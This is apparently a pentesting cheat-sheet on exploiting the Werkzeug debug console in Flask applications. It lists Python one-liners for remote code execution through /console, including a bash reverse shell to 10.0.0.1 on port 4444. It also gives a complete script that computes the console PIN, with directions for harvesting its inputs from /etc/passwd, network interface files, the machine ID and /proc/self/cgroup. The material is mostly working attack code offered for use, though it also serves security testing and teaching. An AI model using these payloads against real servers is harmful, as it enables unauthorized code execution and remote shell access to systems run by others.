Werkzeug Pentesting
Werkzeug is a comprehensive WSGI web application library that is commonly used for Flask web application.
SSTI
Please see Flask Jinja2 SSTI
Remote Code Execution (RCE) in Console
Metasploit
Manual Exploitation
If we can access to /console
page, we may be able to execute RCE.
__import__('os').popen('whoami').read();
import os; print(os.popen("whoami").read())
# Reverse shell
__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"').read()
Console PIN Exploit
Reference: https://www.daehee.com/werkzeug-console-pin-exploit/
Prepare the Python payload for getting the PIN code in the console
page.
# get_pin.py
import hashlib
from itertools import chain
probably_public_bits = [
'user',
'flask.app',
'Flask',
'/usr/local/lib/python3.5/dist-packages/flask/app.py'
]
private_bits = [
'279275995014060',
'd4e6cb65d59544f3331ea0425dc555a1'
]
h = hashlib.sha1() # or hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
As above, we need to set values in the probably_public_bits
and the private_bits
.
probably_public_bits = [
'user', # 1.
'flask.app', # 2.
'Flask', # 3.
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # 4.
]
private_bits = [
'279275995014060', # 5.
'd4e6cb65d59544f3331ea0425dc555a1' # 6.
]
- The username who starts the flask server. For example, we may find it in
/etc/passwd
. - The module name e.g.
flask.app
. - The application name e.g.
Flask
. (getattr(app, '__name__', getattr(app.__class__, '__name__'))
) - The absolute path for the
app.py
of the Flask in the Python packages. (getattr(mod, '__file__', None)
) - The MAC address of the current computer. We can get the value in the
/sys/class/net/<device_id>/address
. To get thedevice_id
, read theDevice
field in the/proc/net/arp
. Additionally, the address needs to be converted from hex to decimal. For example,12:34:56:78:9a:bc
→123456789abc
→20015998343868
. (str(uuid.getnode()), /sys/class/net/ens33/address
) - The machine ID. We can get the ID by reading
/etc/madhine-id
. Additionally, we need to concatenate it with the last value of the first line of/proc/self/cgroup
separated by/
(the value can be empty). For example,
Assume the first line of the /proc/self/cgroup
is as above. We have to put the value (example.service
) after the machine ID as below:
# e.g. the machine ID is `0123456789abcdef0123456789abcdef`
0123456789abcdef0123456789abcdefexample.service